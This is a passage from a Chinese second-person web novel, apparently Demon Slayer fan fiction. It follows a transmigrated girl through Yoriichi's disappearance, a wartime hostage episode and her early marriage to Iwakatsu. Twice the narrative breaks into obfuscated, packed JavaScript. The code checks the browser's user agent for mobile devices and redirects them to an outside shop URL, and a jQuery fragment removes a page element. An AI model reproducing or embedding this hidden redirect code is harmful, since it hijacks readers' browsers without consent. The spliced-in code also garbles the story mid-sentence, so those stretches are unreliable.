你要的女主剧本可不是这种本子!你可是很脆弱的,这么乱来,小心你发疯给人家看哦,你真的会发疯哦。 没系统、没外挂、没回家的诱惑,谁也别想你挑战高难度。 “我只会嫁给你。”你低低地重复,这次是在说服自己。 6. 第 6 章 临走的时候,你拖过被子给他掖好。入秋天气凉了,待会儿守丧是个体力活,感冒就不好了。 岩胜脸色没变,整个人看起来却比刚才好了不少,眼神活泛了些,疲倦地轻轻阖上。 你退到门外,忽然想了起来,忙问道:“岩胜,缘一呢?” 出了这么大的事,怎么不见他? 岩胜背对着你翻过身:“他到他该去的地方了,是哪个寺庙吧。” 你大惊:“不对,我刚从林泉寺过来,他不在那里。” 岩胜唰的一下坐了起来。 缘一跑丢了。 岩胜立刻要找人去追,可家里早就乱得不像样子,下人着急忙慌地答应着,都不知道上哪儿去找。 他胡乱披上一件外衣就往前院停灵的地方跑,还不忘让你早点回家。 这种时候,你留下也是添乱,只得悬着心走了,一路上不停地催车夫快走。 牛车的优点是稳,唯独走不快,你看着车辕前牛背不紧不慢的起伏,真是心急如焚。 在各种被拐儿童和父母重逢的感人视频底下,你学到了一个知识点:孩子失踪后的三个小时内是寻回的黄金时间,找回来的失踪儿童超百分之九十是在二十四小时内找到的,超出这个时间段概率就很低了! 你算来算去,三小时早过了,只能寄希望于缘一不认路跑得不快,继国家的下人效率高点了。 一番折腾下来,奶娘也知道内情了,不住地叹气:“真是作孽!” 你问她:“我看这边也就几条路,找个小孩不难吧?” “难啊,怎么不难?”奶娘冷笑道,“你也说了就几条路,他们真心找,怎么路上不见人?” 对哦。你一个激灵醒悟过来,武士骑马可比你这破牛车快多了,真的要找一个人,按失踪地点为圆心往外找,早该到这边来了,继国家是什么怎么回事啊? 你想起刚进门时的哭声,这回再没半点儿感动之情了。合着你老人家只会对着老婆的尸体演深情,老婆生的孩子是不管的啊? 朱乃临终前是很痛苦的吧?她是多么爱孩子,时时刻刻地操心,希望他们能过得好啊! 你心里说不出得难受,愤怒、失望、悲伤的情绪一股脑涌上来,都分不清是哪个了。 车一停,你马上跳下来往门里冲,去求父亲出手相助。 看见你毫无仪态地横冲直撞,甚至自己拉开门进屋,时透家主的眉心能夹死苍蝇。 不等他发难,你已经连珠炮似的把前因后果交代清楚,顺便表明了来意:赶紧找人啊! 说完话,你气也喘匀了,拿手扇风扇去额头上的汗,一边暗暗地骄傲。虽然不擅长吵架,但你文科生的语言组织能力还是杠杠的嘛。 紧接着在几秒内,你见证了父亲脸上的表情从不满、惊讶变到深思熟虑兼惊喜,然后是隐隐的,于是知道他政治家的野心成功压倒了父亲教子的责任,换言之,你安全了,事多半也成了。 果然,他大手一挥,心情很好地让你出去:“我忙着呢,找你母亲去。” 你从善如流,一出门就被愤怒的奶娘抱走了。 不出一刻钟,时透家的武士就出发了。 从昨晚起不利的消息一个又一个,时透家主很久没有这样彻夜不眠了。 盟友突然要改立继承人只是让他有点心烦罢了,只要联姻不变,立谁不是立?可继国夫人突然去世就不能等闲视之了。 继国家主也就比他大个几岁,年轻又位高权重,续娶名门淑女为正室夫人不是难事,那他们还没分好的蛋糕岂不是平白多出一家来染指? 不行、绝对不行! 时透家主一想到手头的利要薄几分,心里就疼得割肉一样。和盟友分那是逼不得已,是必要的手段,盟友的新亲家算什么? 他盘算了整晚也没个主意,继国家主拿守丧为借口不出门,拖个一年半载,任谁也是没办法的,谁承想一大早女儿就送办法来了。 他把继国家的新继承人捏手里,还怕不能谈吗? 看着马蹄扬起黄尘,转眼间远去,你稍微放下心来。父亲不会是好意,但人平安无事是最重要的。这么多人,总能找到的吧? 你等到天黑,没有等来好消息。 这时,迟钝的继国家主似乎也想起了自己还有个小儿子,大道和林间小路上,到处是呼唤缘一名字的武士。 可几天过去了,谁也没有发现他的一点踪迹。 缘一像从未存在过一样,消失得无影无踪。 继国家主埋葬了妻子,从此深居简出,有人说他一病不起,也有人说他只是按制守丧而已。 等不到盟友,时透家主意兴阑珊,他在一个月后单独出发面见将军,没有谈及任何大事。 母亲的面庞再次为阴云笼罩,父亲回来解释说孩子们都还小,不必急于确立继承权。 事情就这么翻篇了,你的生活却不能回到过去。 “夫人课程”还在继续,但马上就要学有所成的急迫感消失了,母亲不知不觉间放松了要求,你乐得轻松,三天打鱼两天晒网,唯有女红逃不了,天天要捻线穿针。 冬去春来,她的腹部重新隆起,你也能用假名流利地誊抄账目,独立缝制手帕和一些简单的衣服里衬了。 当然,你也可以熟练地吹奏一节切了。 那支朱乃夫人教给的唯一的曲子,你能吹得分毫不差,但即使音调一样,因为口风还有气息控制的问题,听起来总是欠缺某种味道。 你把这归咎于天赋不足,转而琢磨怎么把一些难度不高的竖笛曲目搬过来。 笛声悠悠地飘荡在回廊里、池塘上,给单调的日常增添了些许色彩。你自得其乐,更能忍受母亲的役使。 她开始教你怎么缝补衣裳、裁制和服。课程进度延缓,难度大大提升。你勤加用功,不想她太辛苦,可怀孕的折磨还是让她终日浮肿。 你看着她脚肿得穿不上木屐,还是笔直地跪坐一整天,打理全家的家务,挺着大肚子照顾三个孩子,指点你的功课,又是难过又是疑惑。 你不知道她心里是否也在怨怼,还是把这些都当作理所当然消化好了。从外表上,你看不出她真实的想法。母亲不是一个复杂的人,可你看不懂。典范如朱乃夫人也有自我,她却好像没有。 等你学着缝合腰带的时候,她发动起来,这次生产比以往的哪一次都凶险得多,你被匆匆赶来的奶娘抱走,听到母亲一声连着一声的痛呼持续到第二日黎明。 胎儿的呼吸也只持续了一个黎明。 父亲没有过来,生产被视作污秽的事,孕妇都只能在临时搭建的产房里完成生产,何况他的注意力在新的盟友身上,母亲也没难过太久,收拾好就重新操持家事了。 你远远地看到仆人怀里的小小襁褓,忍不住掉了几滴泪。 有现代医学之前,婴儿的夭折率高达百分之二十五,一半的儿童活不到成年,更不要说还有疾病、饥荒、战乱,这是人命如草芥的年代。母亲七年生育四个孩子,活着三个,已经很幸运了。 你理解他们,只是更加感到自己格格不入罢了。 吹笛子之外,你还发掘了新的乐趣,那就是和继国岩胜通信。 事情的起因完全是偶然。你既然包揽了写信的工作,在母亲身体不便时接管各家来信再自然不过。 你选择优先拆开相熟人家的信件,然后视内容的轻重缓急决定是否回复,就这样翻出了朱乃的最后一封信。 提笔时,她大概还抱着一家人生活在一起的希望,邀请母亲和你在家主觐见将军时来家小住。 你猜测就在信寄出不久后,继国家主告诉了她改立继承人的决定,为此两人之间不可能什么也没发生,经过无人得知,结果是朱乃随即病发去世、缘一失踪,这封信也压在告病、报丧的消息之下,直到现在才被发现。 你心情沉重地拟了一篇长文,回忆两家的交情,感谢继国夫人当年的照顾,同时劝慰继国家主节哀顺变。 这样的外交辞令,你早已写惯,闭着眼也不会出错,唯独关于朱乃的部分,全从笔端流出,没有一句《明衡往来》里的套话,反而显得潦草。 不料回信很快就到了,纸上不是熟悉的笔迹,也不像出自家主之手,你醒悟过来,这是岩胜写的。 从简短的问候开始,你一封我一封,通信竟成了习惯。夹杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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生活里有过真实的支撑,足够在回忆和咀嚼中反复地汲取力量,其他的就不必强求了。将人生的希望擅自寄托他人,无异于索取,可岩胜凭什么被你索取呢? 你的心在一封封信中安定下来,仿佛回到旧日的课堂,因为知道自己在稳步地积蓄力量而格外踏实。 你做好准备,耐心地等待一切有可能的变故和必将到来的安排。 无事发生的时候,会觉得日子过得很慢,一天又一天重复的生活,好像活在静止中,突然意外出现,时间才重新流动起来。 你不会忘记平静被打破的那天。 转眼数年过去,你长到了十岁,课程学无可学,每天最重要的活计是给虚弱的母亲打打下手,顺便带带新添的几个弟妹。同你停滞的进度相比,时透家的产业在父亲手上至少扩张了一倍。 和固守祖产的先辈不同,他“幸运”地生在了时代变革期,试图寻找新路的先行者纷纷折戟沉沙,破产的下级武士流离失所,他背靠幕府的余晖吞并这些无主财富壮大已身,却误以为是自己谋略无双。 反扑是早晚的事。历史常识告诉你,变革初期旧秩序的惯性是十分强大的,敢突破它的人只会被率先绞杀,沦为既得利益者续命的养料。父亲是在自掘坟墓。 可你有什么办法说服他放弃眼前唾手可得的利益呢,你连劝母亲保重身体都做不到。 十年间频繁的生育拖垮了她,父亲迟迟不肯确定长子的地位,也在精神上给了她沉重的打击。时透夫人自问已经付出了为人妻子能做的所有,丈夫却不肯给予应有的报偿,这让她充满了被欺骗和背叛的愤怒,变得满腹怨怼。 身为离她最近的人,你饱受来自母亲的迁怒,眼看着她在人生的最后阶段越来越尖酸刻薄。她近乎歇斯底里地把生活的不如意倾倒给所有人,生命力也随之损耗。 无需医生诊断,谁都看得出来,她是活不久了。 你想不通,为什么母亲总觉得再生一个就好了呢? 终于有天,洁白的面隐落下来盖住她过早衰老的面容,没多久,新人的聘礼替换下亡者的佛坛,父亲娶了新夫人进门。 祸乱就是这么埋下的。 7. 第 7 章 武士间的嫁娶绝不是小事,姻亲将本无关系的两个家族真正联结在一起,世上没有什么能比子子孙孙无穷匮的血脉相连更牢固的了。 所以,联姻等于结盟,结盟需要联姻,在武士这里是颠扑不破的真理。 新夫人的选择,自然是时透家主精打细算的一桩交易。好事促成,他洋洋得意,也就有人满腹仇恨。 农耕时代资源有限,蛋糕就这么大,你多了就是我少了,斗争不可能不残酷。 到了真刀实枪明抢起来的时候,父亲才看清了自己吃着世禄才能坐稳高位的真相。 盟友就是此时用的。你带着弟弟妹妹和继母一道离开了家,去做人质。 继国家没什么变化,还是上次见到的样子。这个没有女主人的地方陷入到更加彻底的停滞,你发现就连架子上装饰品的位置都没有动过。 岩胜代表继国家前来问候,隔着竹帘向你的继母新一任时透夫人行礼,她按初次见面的礼节还回去。你旁观这一切发生,真是恍如隔世。 前来负责招待的人是从前朱乃夫人的侍女阿系,她还记得你,拉开门时像过去一样对你善意地笑,眼角细碎的皱纹堆起,提醒人们时光并没有遗忘这里。 你想起不见了的缘一,时隔多年还是感到郁愤难平。 继国家主一直没有续娶,朱乃过世后,他独自生活,更加忘我投入到厮杀中,弄得一身伤也在所不惜,他靠始终强悍的武力而不是钻营维持着继国家威名不倒。 他的父辈、祖父辈都靠这身武艺安身立命,他年轻时也借此闯出一片天,中年遭逢时局变动,依旧相信刀锋上可以取得一切,并把这一理念不折不扣地传达给下一代。 父亲满意于盟友的可靠,背地里却挖苦他的生活方式,说那种日子正常人一天也过不了。 你没有机会拜见他,难以判断他是否就是这个家最大的变数。 对于不能上阵杀敌这件事,岩胜明显很焦躁,他的情绪传染给了本就惴惴不安的时透夫人,孩子们更不敢说话,屋内的气压持续走低。 你能在纸面上侃侃而谈,信手写上好几页,却对社交场合的气氛调节束手无策。第一天,你们相对枯坐着过去了。 随着局势愈发紧张,这样的状态没持续太久。按前线传回来的命令,你们一同撤出继国家,在侍卫的保护下退到林泉寺。 穿越多年,你不再对处境全然无知,明白这多半是战况发生了逆转,从现在起你们互为人质。 寺庙的僧人收拾出两间干净的禅房请你们住下,僧正领着修行僧一起诵经祈福。夫人忧心不已,亲自到殿内上香,你陪着她直到晚钟敲响才回屋休息。 躺着也睡不着,黑暗中,你的弟弟妹妹们一声不吭,全都大睁着眼睛瞅着你,他们或许不明白发生了什么,只是本能地靠近最亲近的人。 你伸长胳膊尽量把他们都搂到一起,听到另一边翻来覆去的声音,知道继母同样睡不着。 窗外,虫鸣此起彼伏,夜色更加孤清。 你想入非非,开始设想落败后的结局:你、继母还有小妹妹原地出家,其他几个弟弟运气好可以一同为僧,岩胜和大弟弟没有战死沙场的话,只能自尽了。 进入寺庙前岩胜那隐忍的目光浮现在脑海中,你想他是一定会选择战死的。 不知过去了多久,你终于看到弟弟妹妹们一个个闭上眼发出均匀的呼吸,小心翼翼地抽回手脚,站起来活动四肢,不期然和继母四目相对。 果然,知道的越多就想得多,你并不意外,唯有苦笑,她扭过头去。 长夜漫漫,实在难熬,你披上外套走了出去。 月亮隐在云层后,山林笼罩在夜色下,继国、时透两家的卫士藏在丛林中。 想到这里,你生不出半点游览的兴致,垂腿坐在走廊上,搓搓脸,想自己还能怎么办。 答案当然是没有的,但现代人的思维让你习惯了遇事先考虑自己该做什么。 你有一搭没一搭地乱想,吹着山间的风,昏昏欲睡。 所以,那些人跳进院子的时候,你立即惊醒,却停留在半梦半醒的懵懂阶段。 毫无经验的你,和无脑电视剧里所有成事不足败事有余的工具人配角一样僵在原地,只会抱头尖叫。 尖利的嗓音还没出口,一只粗糙大手从前堵住,劲风吹过,连人一起带进了屋内。 你跌倒在榻榻米上,身下垫着几个僧人打坐用的蒲团,没发出半点声响,整个人完全呆住。 岩胜背对着你合门,前方是十余名带刀武士。 早说过了,日式建筑隔音不好。 不用看也知,父亲那个几世祖的带出来的人怎么比得上人家风里来雨里去的兵。 你木木地听着门外的动静,似乎没有想象的那么血腥,几道闷响后就平静下来,隔扇上人影晃动,似乎在交谈什么。 半晌,门重新拉开,岩胜言简意赅,说出了这么多年来对你的第一句话:“在这里等着。” 月光西移,窗棂的影子拉长,漫到身上,你如坠水中,浑身冰凉。 用不了多久,至多一个时辰,破晓的晨光将照亮禅房,照出继国家的人质已从这场休戚相关的战事中全身而退的事实。 你不去思考这意味着什么,脑子里只剩下一个念头:他要到该到的地方去了,可他拿什么去拼呢? 你嚯地站起来,冲出房间奔向供佛的大殿。 四年前,时透家主和继国家主联手镇压了国人武士的叛乱,他们用缴获的奉纳玉钢锻刀来纪念会盟的胜利,影打两位家主一人一把,真打就供奉在这林泉寺里。 国内最好的工匠耗时数月打出最得意的作品,其中工艺最精良的,才被选成真打作为献给佛的礼物。 你气喘吁吁地取下香案上的刀匣,沉得弯下了腰,穿成武家小姐这辈子你还没拿过比砚台更重的东西。 试着跑了几步,根本不行。你把匣子丢下,裙摆掖进腰带,双手抱起刀——这下可以了,头也不回地往外跑。 跑过了走廊、佛堂,眼看到了大门前,一股力道猛地后拉,你差点儿摔倒。 “发什么疯,快给我回来!” 是夫人。 原来她一直没睡着,她什么都看到了。 她几乎是凶恶地瞪着你,放着自以为的狠话:“我告你父亲去,我告老爷去,看你怎么办!” 你看着她,这个名义上是五个孩子母亲的人,只比你大几岁而已,正处于生长发育的时期,身子抽条成修长的形状,脸还是圆鼓鼓的小孩脸,努力地做出威慑的表情。 对着这样一张脸,你生不出怜悯之外的任何情绪。 她也不容易,才嫁过来就碰到这样的事,流言蜚语、造谣中伤是少不了的,此地的男人多擅长把过错都推到女人头上啊。 用力拽回自己的袖子,你毫不犹豫地逃走了。 没有灯,夜晚的路可不好走,凹凸不平的路面、裸露的树根、黑沉沉的积水都是障碍。 你跌跌撞撞,奔跑在山间的小路上,恍惚间明白过来,父母没有冤枉你,一个人不接受某种生活方式,也就不会接受它背后的逻辑,你是早晚要叛逆这么一回的。 抱紧了怀中的刀,你甩开膝盖、大步向前,不断加速,月亮跟过来,红色的光芒似在燃烧,树影飞速倒退,情绪全都甩到身后。 异国他乡的孤独、不被接纳的恐惧、无能为力自我厌弃……此刻,它们全都纠缠着飞速缩小,然后无影无踪。 你呼吸着林间湿润的空气,感到无比自由。 为自由驱使的你在山谷下追上了岩胜,那儿不只有他和继国家的武士,还有另一拨不知来处的人马,敌对的态势一望即知。 你镇定自若地靠近,一行人惊讶地看过来,忘了做出反应。岩胜翻身下马挡住面前,拦住所有视线。 你无所谓地笑笑,用力扬起脖子,把刀递过去。 刚来的时候你就想说,岩胜他也太高了吧!比你高一头还多,比好多成人还高,完全是大人的模样了。 上一回神社见面,他迷茫惶惑撞上你胸有成竹,这一次处境调转,太奇妙了。 你忍不住又笑了一下,因为想起了离别时的话,那会儿真是大言不惭啊,武士命运的无常、盟约的脆弱,岩胜从来比你看得清楚,可是—— “我只会嫁给你,知道的吧,”你低声道,“所以,一定要赢哦。” 是的,在最糟糕的设想里,你也是出家做了尼姑,落败后依附别家,或是被当战利品转送,想都别想。 对于继国家还有岩胜本人的实力,你没有多少直观的感受。你只知道自己遵循哪种生活的指引,是为了什么来到这里。 岩胜接过刀挎在腰间一刻你已取得胜利,接下来发生都无所谓了。 都无所谓了。 自由是很爽的,生病是很难受的。 回到寺里,你很快就发起高烧,明明是夏天,却抱着被子不住地发抖,汗水打湿了床褥。 歇了半日病程不见缓和,额头的灼热反而有继续攀升的趋势。你无力地躺着,时而咳嗽几声,疑心脑仁都要蒸干了。 有些话,在那个个氛围里很容易说出口,等脱离出来,只想以头抢地。你再找不回当年面对小学生的自然心态,这会儿的病势倒像是脸上升腾的热度烧到脑子里。 你烧得满面红霞,迷迷糊糊地喘着气,屋里的其他人脸色都一样地差。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048773|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这里药食都不缺,糟糕的是山脚下的战斗已经证明了林泉寺不再安全,女眷和孩子们必须转移了。 继母坐在一旁,欲言又止、止言又欲。岩胜派来的人说明情况后,她就一直这个样子了。 你无意为难她,主动提出母亲当以嫡子为先,你一个人可以的,请她带着弟弟妹妹先走。 有台阶下,夫人当然没有不愿意的,应下来马上就离开了。 奶娘气得直抹眼泪,阴阳几句,一定要留下来照顾你。 人影远去,你止住咳嗽,劝奶娘少说几句。她昨晚睡在下人房里,并不知道发生了什么。况且,没昨晚的事,你也不觉得自己有立场道德绑架谁冒着生命危险作陪。 可能是这具身体底子好,也可能是一直坚持健康的饮食作息和生活习惯,自打穿越过来你还没生过病呢,区区一次着凉感冒,抗得过去的。 你指挥奶娘把清水煮沸,饭里多加肉,做得熟熟的,补充好水分、养分,一口闷掉僧人熬的药,倒头就睡,等着免疫系统发挥作用。 平时奶娘绝不会由着你,但她相信病人想要的就是身体需要的,全部照办下来,你得以科学养病。 是福不是祸,是祸躲不过,吃吃喝喝,洗洗睡吧。 病中的人容易丢掉对时间的感知,你就这么躺着,慢慢休养,身体一天天地好转,前方传来的消息也越来越乐观。 等你能重新披上衣服四处溜达时,时透家主也志得意满地重新杀了回来。 你马上去信问候父亲母亲,重点阐述了自己还没好全不宜挪动的意思。 这些天,奶娘老是哭哭啼啼地说你都瘦成了干,可你自觉镜中人眼睛发亮,肤色白里透红,气色别提多好了。 你一个人在这儿,什么事都自己做主,喝水就喝凉白开,吃饭就吃熟饭,坐下必须盘腿坐,还要歪七扭八地倚着、靠着,更别提作为古代的文化场所寺庙里有大量的藏书供人翻阅,简直不要太爽! 你乐不思蜀,根本不想回家了。 可不管怎么拖,随着国境内战火平息,时透一家返回宅邸,你无论如何也得回去了。 家里送来御寒的衣物,你裹得严严实实,坐车下山。 深秋的树林渲染得五颜六色,牛车两旁护卫的人也穿戴得五颜六色,这一番变故,家里终究是伤了元气。 你粗略地扫一眼,就没几张熟悉的面孔,心里五味杂陈。 战事告一段落,但继国家主没有就此罢手,他以毕其功于一役的魄力和决心继续投入战斗,战线拉长到前所未有的程度。 你只是经手了只字片语就感到心惊肉跳,不敢想象身处其中的人要承受何等压力。 父亲从前线转到后勤,倒是愈发优哉游哉,可见战果令人满意。 初雪落下的那天,岩胜从战场返回,来拜会时透家主。 他在庭院等待通报,全身漆黑的盔甲挺立在漫天的白色中,像一柄出鞘的利剑。 你透过屏风望去,觉得时间过得可真快。 奶娘殷情地请他进来,捧上热茶,关心他有没有着凉。 岩胜不着急接话,先向御竹帘行礼,问候姬君身体是否安康。 你隔着帘还礼,忘记了回话。一时间,走廊和屋子之间只有风声回荡,奶娘絮絮叨叨的声音若下去,再听不到了。 你头靠在柱上,感受着眼前无言的沉默,仿佛在和帘外人长久地对视。但这是错觉,岩胜他至多能看到你的一点身影才对。 这样想着,你没有一丝迟疑,提步绕过屏风,身前再无一丝遮挡。 岩胜愣住,视线在接触到你的下一秒便微微下垂,含有歉意似的投向双足前的位置。 即使是如此猝不及防的情形,他也维持着应有的礼仪,绝无不当之处。他恪守自己的边界,却从不依此对他人妄下判断。 “非常抱歉。” 他为那天发生的事向你道歉,因为他的轻率举动,连累你抱病多日。亲眼所见,让他确信自己的想法,所以一再地请罪。 “是在下无能……” 你没有听下去。 总有人怀抱过分的责任心,稍有偏差都归咎于自己。 有什么关系呢,你暗想道。是你自己决定要那么做的,因此产生的所有后果理应由你一人承担。 而且……你端详着岩胜,他才是瘦多了呢。成人用的甲冑披在身上只能算勉强合身,他用挺拔的身姿撑起那股气势,更显风霜之色。 此刻,若有外人看到这一幕,怎会想到他只比你大一岁而已。 “我才该感谢您啊。” 无视掉他身后使尽眼色的奶娘,你微笑着开口:“不说这个了。父亲大人在等您了。” 8. 第 8 章 年后,继国家主终于对战况感到满意,结束了漫长的扫尾工作,宣布退兵。 他返回驻地后的第一件事,就是找自己的老盟友时透家主定下了长子的婚事。 有幸见证这场盛世的同僚们,都在私底下偷偷地传:继国家主看起来老了太多了。 不久前他还在战场上近乎不死不休地追剿余孽,同行者见之无不胆寒,误以为是杀神临世。 现在看来,或许就是这种全情投入不计得失的打法提前透支了他的生命,回家后不久,继国家主躺到在病床上,过去的旧伤一齐发作,短短几天便形容枯槁。 如果说他是信守盟约,将敌军赶出去也就够了,事实上,战争后期,时透家主已颇多微词,因为获利明显比不过损耗,继续打下去更像是无脑的发泄。 但要说他是为了彻底消灭家族隐患,不惜放弃部分利益为后代铺路,岩胜少主私自下场数度濒临险境,也不见其父有所回护。 他似乎就只是想要这么痛痛快快地打上一场,终于有了机会,别的都顾不上,也不想去思考了。 因为继国家主的沉疴,联姻只好从简从速,幸亏两家早有默契,一切都是备好的,操办起来并不费力。 饶是如此,一系列流程走下来,也花了半年之久,而这些都和身为仪式主角之一的你无关。 你从没表现得如此符合刻板印象过,不管谁稍稍提及,你就打开扇子遮住脸,装作非常害羞的样子立即跑开。 置办嫁妆还有与之相关的各种事都是早就开始的,虽然因母亲的去世一度中止过,继母上手后很快就完成了。 奶娘记得寺里的事,总疑心她心里憋着坏,对你甩手掌柜的态度、行为是恨铁不成钢。 几次鸡娃失败后,她干脆亲自上阵盯着,恨不能多长几只眼睛轮番工作,唯恐一个错眼不见,继母就会以次充好,甚至给你使个绊子。 对此,时透夫人全都忍了下来,准备好所有,只等你嫁人。 面对这么尴尬的事,你简直一个头两个大,有心调解又怕越抹越黑。 那天发生的事,继母从来闭口不提,这是她的善意,你是承情的,但处在你们这种位置的两个人,好像只能以敌意的方式相处。 你不知道这是谁的错。 你们共同的忍让中,所有事情无波无澜地推进,父亲简单地过目一下就点点头,对这种已成定局的事,他不会有多少热情,因为无利可图。 婚前的安排简直顺利得过头,阴阳师卜算出最近的吉日,你过完家中最后一个年节,在一个初春的夜晚披上了嫁衣。 接亲的火把照亮了嫁妆上的汉诗铭文,那是对美满婚姻的祝愿,用刀子雕刻、涂上黑漆,用金粉、螺钿装饰出来的。 满目熠熠生辉的色彩中,唯有你一身素白:纯白的小袖和服,披一件白绢打褂,白色的棉帽子遮住大半张脸。 你对白色没有意见,只是每次穿白衣服不管多小心总会弄脏一块,吃饭时溅了油点呀、蹭到哪里了呀,防不胜防。 穿白必脏在u盘第一次必插反之后,名列你第二符合墨菲定律的生活事项。所以渐渐地,你就不穿白了,除非学校活动有要求。 而这一次,比得上从小到大所有学校活动的相加。你战战兢兢,垂首帖耳,没有指示根本不敢动。 终于,花轿抬了过来,你迈着小碎步,一步一挪,双手死死地摁住袖子,不敢让全身上下任何一个配件乱晃。 电视剧里的轿子看着华丽宽敞,实物却不是这么回事,里面又小又憋闷,刚够一人坐下。方一进入,车窗咔一声落下来,严丝合缝,像关上了一个小盒子——不对,是像口棺材。 这个念头一冒出来,你的后背寒毛倒竖,一阵阵地发冷。 忘了是在哪里看的科普贴,白无垢花嫁其实是丧服,新娘出嫁意味着在娘家死去,再无此人,婚礼后换衣就是在夫家重生。 说法的真实性无从考证,可想起出门前镜子里映出你新画的大白脸,堪比死人妆,就愈发觉得太贴切了。偏偏此时乐声响起,一声声如泣如诉,你听得汗出如浆,像恐怖片里的NPC,向观众倾情演绎什么叫做恐惧。 糟糕,妆不会花了吧?你坐立难安、呼吸困难,绝望地感到手心、脖颈、额头都有汗水滑落。 喉咙好干,你焦虑地要舔舔嘴唇,想起那铅汞含量绝对超标的化妆品,硬生生忍住了。 现在逃婚还来得及吗?这么点距离,爬都能爬回去吧。 你在幻想中跳车、撕扯、狂奔然后身败名裂、青灯古佛了此残生几多回,脚尖都没有动一下,直到车轮吱扭一声停住,惊醒了你的一人小剧场。 像听到了考场中的哨声,你突然镇定下来,大脑一片空白,手、腿有自主意识般行动,提裙、下轿、递出指尖,步伐、姿势不差分毫。 一片吵嚷声中,你清晰地听到“新娘子来了”的欢呼,一句接一句,先于你的脚步传入屋内,火把聚拢过来,照得眼前亮如白昼,你和手里轻飘飘的布料没什么区别,被不同的力道拉着、推着、拽着,去到该去的方向。 不知经了多少道手,你获准留在原地,舒缓的乐章后,阴影无声地笼罩在身侧,一只手探过来,不轻不重地搭在你的手背上。 你灵魂归位,瞬间明白了自己身处何方,垂在脸侧的柔软帽檐抖得像一片枯叶。 妈妈、妈妈、妈妈……来救救我,妈妈…… 妈妈,原来,我没有做好准备…… 你无声地呐喊,泪盈于睫,沿着你温顺低垂的弧度一一滴落。 恍惚间,耳边是爸爸妈妈温馨的唠叨,他们总怪你读书太多读傻了,还不知道找个男朋友,不谈恋爱怎么结婚? 妈妈,你在这里,看到女儿结婚,你不会快乐。 新人和两家的亲族共饮酒水之后,仪式就到了尾声。你除去繁琐的披挂,移步到寝殿的核心北厢内。 在这里,你将成为继国家新一任女主人。 观礼人的恭维你全不放在心上,匆匆地往镜中瞥了一眼——还好,这一脸的粉看着还挺牢靠。 才松了口气,迟滞的酸痛袭遍全身,你累得只想倒头睡下,却不得不强打起精神静待另一个主角入场。 岩胜进来的时候,你已经因为应激太久到了麻木的状态。身体僵硬不得动弹,神经却高度紧绷,左肋靠下的地方紧缩着疼,像有只小手在里面揪着胃提了起来,你疼痛欲呕。 作孽啊,一个小学生、一个初中生,就这么结婚了! 他在一旁轻轻坐下,你的身心已地震了一遍。不多时,仆从们吹灭烛台退了出去,几帐垂下来,屋内陷入比花轿更深、更浓地黑夜。 你无声地睁大了眼睛。 身边是岩胜均匀、低沉的呼吸声,几次和缓的吐息后,他开口了。 “家庭还有婚姻的含义,我不能说全部了解了,但是,一家之主和为人丈夫的责任,从此以后我都会担负起来。”他一板一眼地说着,眼睛直视正前方,脖子连着脊背绷成一条直线。 话音落下,好一阵沉默。他飞快地扭头看你一眼又转过去。 “你有什么要说的吗?”岩胜干巴巴道。 你的双手急剧地颤抖起来,比上轿时紧,比下轿时软。 “我……” 你有好多好多话涌到嘴边,都不知道该说哪句,你的恐惧、你的期待、你的愤怒、你的软弱……太多想要倾诉却不能出口的东西堵住了喉咙,你一时唇齿凝涩、喑哑无言。 “我、我希望……” 你心如擂鼓,竭力打捞着脑海中每一个争先恐后的词句,那想要呕吐的疼痛丝毫没有缓解。做不出数学卷子的最后一道大题,你也没这么难受过。 “我希望我们能彼此理解、包容,能体谅对方……” 临到嘴边,你到底把“平等”两字吞下去了,吞玻璃一样划出闷疼的内伤,一路刮擦着落回胃里,冒出满口的血腥味,声音随之低微,渐渐听不到了。 “就这样了。” 除了换个地方睡觉,婚后生活没有多少不同。 你像在家时一样,早早地起来,收拾妥当去向长辈行礼问安。继国家主坐在主位上,代替长辈接受了你的问候,然后大家一起用过早膳,就各干各的去了。 岩胜练刀,家主休养,你—— 好吧,还是有点不同的,你多了一项重要工作:给家主侍疾。 一早知道了家主的病情恐怕不容乐观,可心里知道怎么比得上新婚第二天一见面的冲击力。 不过三十岁的继国家主已有油尽灯枯之相,坐在那儿,简直就是几块骨头支棱着,身上厚实保暖的衣料,更加显示出下面皮囊的消减。 当时,他精神尚可,乐呵呵地看着儿子成家携妻来叩首,一个月后你回家省亲,他的举止也能维持礼仪周全,但那之后,他就像大事已了再无牵挂,一日差过一日。 持家的重任理所当然地交到新妇手中,老实说这个活计并不累,继国家人口简单,事务不算多,至于看护病人,端茶倒水、熬药送汤都有下人做,你主要的职责是使唤他们,兼嘘寒问暖,提供情绪价值,比从前带着一串弟弟妹妹轻松多了。 而且,你看向虚弱的继国家主,他也不需要你做什么。侍疾要做的事只是你单方面的付出,他本人是怎样都无所谓的。 一天结束后你倒掉根本没动过的汤药,心里悄悄叹气。失去心气竟是这样一件恐怖的事,人尚未老已散发出腐朽的味道,自己受着折磨不说,连靠近的人都感到榨干了活力。 你开始盼望岩胜能早点回来。 中古时代的人大都把结婚视作成年的标志,日本也不例外。岩胜在婚礼后接手了父亲的大部分工作,每天早出晚归。 经过上一轮的全面肃清,如今相邻数国境内都太平无事、兵销革偃,虽没有繁重的兵役,但在无人指导的情况下独自代行一国之主的职权,对一个十三岁的少年来说并不容易。 你常常在入睡十分才能等到他晚归的身影,岩胜把疲惫隐藏得很好,如果他不是迷迷糊糊地说几句就睡过去的话。 头几天,对于身边睡着一个人这件事,你们都接受不良,身体紧绷着随时能一跃而起。现在嘛,人类果然是能适应各种情况的可怕生物,你们该吃吃该睡睡,哪天夜里一个翻身不小心踹了对方一脚,嘟囔几句就又睡死过去了。 